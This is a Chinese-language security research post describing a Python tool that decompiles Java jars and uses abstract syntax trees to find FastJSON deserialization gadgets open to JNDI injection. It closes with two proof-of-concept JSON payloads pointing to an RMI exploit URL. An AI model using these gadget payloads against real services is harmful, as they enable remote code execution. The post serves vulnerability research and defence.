在计算机科学中,抽象语法树是源代码语法结构的一种抽象表示,它以树状的形式表现编程语言的语法结构,树上的每个节点都对应为源代码中的一种语法结构。抽象语法树可以说是静态代码分析中最常用的,也是最核心的技术之一,通过抽象语法树可以很方便构建模型,判断源码中是否存在缺陷特征。
本文简单构建了一个判断模型,去尝试寻找FastJSON 的gadgets。
FastJSON 是阿里开源的由Java语言编写的高性能JSON库,目前在国内大范围的使用。FastJSON 在版本小于1.2.25时存在反序列化漏洞,可以利用造成远程代码执行。而最近又报出版本小于1.2.48时存在修复绕过,已知多个国内Top N的互联网公司均出现该漏洞导致的web入侵事件。
FastJSON的反序列化漏洞从功能上讲是因为FastJSON允许将json字符串直接转化成java对象,这个功能通常被称为反序列化。而FastJSON 在反序列化时,也就是由json字符串生成java对象的时候会执行目标类的构造函数,set开头的方法,get开头的方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值,这就及其容易造成RCE。
1.2.25版本以后,FastJSON 增加了一个checkAutoType 方法,用来防御反序列化漏洞,其防御理念可以总结为:
新增autotype设置,用来配置是否允许反序列化任意类, 默认关闭。
新增黑名单检查,在黑名单中的类都不允许反序列化。
这样防御理念也意味着,如果用户开启了autotype设置,我们只需要找到一个不在FastJSON黑名单中的类,就同样可能实施攻击。事实上黑名单的防御方式,通常来说都靠谱,每过一段时间就会报出绕过。比如最近就爆出的两个不在黑名单的类可以实现RCE。
ch.qos.logback.core.db.JNDIConnectionSource com.zaxxer.hikari.HikariConfig
这两个类都是使用了JNDI 注入技术实现RCE,其漏洞触发特征是相当明显的。比如com.zaxxer.hikari.HikariConfig类的触发点就只有两句java代码。
简单的来说就是一个可控变量作为InitialContext类下lookup方法的参数,就可以实现RCE。
(关于JNDI注入实现远程代码执行的细节问题,不是本文关注的重点,有兴趣的同学可以去查看: 深入理解JNDI注入与Java反序列化漏洞利用 – FreeBuf专栏·安全引擎 )
既然特征非常明显,会不会有其他类也和HikariConfig类一样可以帮助我们实现RCE?现在我们就来尝试下去寻找下这个类。
我们整理下工作思路:
反编译不在FastJSON黑名单中的jar包,生成java源码文件。
由java源码文件生成AST语法树。
对语法树进行条件判断,筛选出符合条件的类。
尝试构造poc。
这里我们主要工作是把本地maven的缓存目录 ~/.m2/repository下缓存的jar包去重后,全部进行反编译。在这里我们可以依据jar包路径判断下java 包在不在FastJSON 黑名单中,对于在黑名单中的jar 包就没必要进行反编译了(后来发现这个判断似乎不是很靠谱,会有误判和漏判,但在可接受的范围内)。
反编译使用FernFlower,这是一个命令行的下java反编译工具,可以很轻松的实现jar的完整反编译。
反编译命令如下:
java -jar fernflower.jar jarToDecompile.jar decomp/
(其中jarToDecompile.jar是需要反编译的jar文件,decomp是反编译后的生成文件所存放的目录)
该命令执行完后,会在decomp目录生成一个jarToDecompile.jar的文件,直接使用unzip 命令解压这个生成的文件,即可看见源码。
def decomplier(file): """ 反编译 :param file: :return: """ cmd = "java -jar ~/tools/FernFlower.jar " + file + " /Users/xxxxxxx/source/ > /dev/null 2>&1" os.system(cmd) jar_file_name = file.split('/')[-1] jar_file_path = "/Users/xxxxxxx/source/" + jar_file_name target_dir = jar_file_name.split('.')[:-1] source_dir = '.'.join(target_dir) source_dir = '/Users/xxxxxxx/source/' + source_dir unzip_cmd = "unzip " + jar_file_path + " -d " + source_dir + " > /dev/null 2>&1" os.system(unzip_cmd) return source_dir
值得注意的是FastJSON 在1.2.41 版本后将黑名单改成hash的形式,不再以明文展示。那么,我们怎么能获取到原始的黑名单呢?这里需要借助大牛的工作成果, fastjson-blacklist 这个项目实现了暴破FastJSON黑名单hash原文的功能,并且共享出已经爆破出来的黑名单原文。
这里的目标是把反编译生成的源文件解析成抽象语法树的形式。
python中生成java语法树的库叫javalang,它能很方便的生成java的抽象语法树。
安装命令:
pip install javalang
使用javalang生成java语法树非常方便,仅仅只需要两行代码。
import javalang tree = javalang.parse.parse("package javalang.brewtab.com; class Test {}")
生成的语法树如下图所示:
javalang 会将每一种语法结构都映射为一个类对象。从上图可以看出,整个源文件被映射成CompilationUnit对象,它有package、imports和types 3个主要属性,分别表示包名信息,导入类信息,以及源码文件中的类型声明。同时这个三个属性也是被抽象为相应的类对象。比如包名信息被抽象为PackageDeclaration对象,类声明被映射为ClassDeclaration 对象。
同理,ClassDeclaration对象的各个属性也代表了源码文件中的类声明的各个结构信息,例如annotations属性记载了源码中类上的注解信息,extends属性记载了源码文件中类的继承信息,implements记载了源码文件中类的实现接口情况,其他属性类似。
了解语法树的大致结构后,我们就可以通过比较抽象语法树节点的各个属性,来判断目标类是否符合判断条件了。
这一步是最关键的,把源文件进行条件筛选,找出目标类。
首先进行是初步筛选,初步筛选直接采用字符串比较或者正则表达式进行,是最快速也是最有效的筛选方式。对于这个案例我们初步筛选的条件定为目标文件中是否存在InitialContext字符串,对于没有包含JNDI注入中关键类InitialContext的文件没必要进行语法树判断。
# 字符串判断快速过滤 if "InitialContext(" not in _contents: return False
接下来是在语法树上类层面的判断,FastJSON的checkAutoType方法对反序列化的类有三点限制:
1、不能继承 Classloader。 2、不能实现 DataSource 和 RowSet 接口。 3、必须有一个无参的构造函数。
类结构被javalang抽象成ClassDeclaration对象,而我们需要做的就是判断ClassDeclaration对象相应的属性是否满足条件
def get_class_declaration(root): """ 筛选出符合条件的类 :param root: :return: """ class_list = [] black_interface = ("DataSource", "RowSet") for node in root.types: # 非类声明都不分析 if isinstance(node, ClassDeclaration) is False: continue # 判断是否继承至classloader if node.extends is not None and node.extends.name == "ClassLoader": continue # 判断是否实现被封禁的接口 interface_flag = False if node.implements is None: node.implements = [] for implement in node.implements: if implement.name in black_interface: interface_flag = True break if interface_flag is True: continue # 判断是否存在无参的构造函数 constructor_flag = False for constructor_declaration in node.constructors: if len(constructor_declaration.parameters) == 0: constructor_flag = True break if constructor_flag is False: continue class_list.append(node) return class_list
最后,我们还需要判断类方法中是否调用了lookup 方法,并且需要lookup方法的参数是变量。
在语法树中函数声明被抽象为MethodDeclaration对象,函数调用被抽象成MethodInvaction对象,那么判断是否调用lookup方法就很简单了,我们只需要深度优先遍历整个MethodDeclaration对象的各个子节点,判断节点的类型是不是MethodInvaction,以及被调用的函数名是不是lookup就行。判断lookup的变量是否可控就比较复杂了,涉及数据流分析,不过在这里我们可以简化逻辑,认为类的属性和方法的入参都是可控变量。代码如下:
def ack(method_node): """ 1、是否调用的lookup 方法, 2、lookup中参数必须是变量 3、lookup中的参数必须来自函数入参,或者类属性 :param method_node: :return: """ target_variables = [] for path, node in method_node: # 是否调用lookup 方法 if isinstance(node, MethodInvocation) and node.member == "lookup": # 只能有一个参数。 if len(node.arguments) != 1: continue # 参数类型必须是变量,且必须可控 arg = node.arguments[0] if isinstance(arg, Cast): # 变量 类型强转 target_variables.append(arg.expression.member) if isinstance(arg, MemberReference): # 变量引用 target_variables.append(arg.member) if isinstance(arg, This): # this.name, 类的属性也是可控的 return True if len(target_variables) == 0: return False # 判断lookup的参数,是否来自于方法的入参,只有来自入参才认为可控 for parameter in method_node.parameters: if parameter.name in target_variables: return True return False
笔者一共反编译了487个jar包,生成5w+源文件,经过脚本分析后一共命中4个类中的5个方法。如下:
source/commons-configuration-1.9/org/apache/commons/configuration/JNDIConfiguration.java containsKey source/commons-configuration-1.9/org/apache/commons/configuration/JNDIConfiguration.java getProperty source/HikariCP-3.3.1/com/zaxxer/hikari/HikariConfig.java getObjectOrPerformJndiLookup source/ojdbc14-10.2.0.2/oracle/jdbc/connector/OracleManagedConnectionFactory.java setupXADataSource source/xalan-2.7.2/org/apache/xalan/lib/sql/JNDIConnectionPool.java findDatasource
经过测试,命中的4个文件都是可以利用的。不过其中HikariConfig类就是前文提到的类,在最新版本被加入黑名单,JNDIConnectionPool类在42版本前就被加入黑名单了。另外的两个类JNDIConfiguration和 OracleManagedConnectionFactory都可以构造出攻击poc,且尚未被加入黑名单。
JNDIConfiguration POC:
static void fastjson(){ String json; json = "{/"@type/":/"org.apache.commons.configuration.JNDIConfiguration/",/"prefix/":/"rmi://127.0.0.1:1389/Exploit/"}"; Object object = JSON.parseObject(json); System.out.println("type:"+ object.getClass().getName() +" "+ object); }
OracleManagedConnectionFactory POC:
static void fastjson(){ String json; json = "{/"@type/":/"oracle.jdbc.connector.OracleManagedConnectionFactory/",/"xaDataSourceName/":/"rmi://127.0.0.1:1389/Exploit/"}"; Object object = JSON.parseObject(json); System.out.println("type:"+ object.getClass().getName() +" "+ object); }
本文相关的代码上传至github: fastjson_gadgets_scanner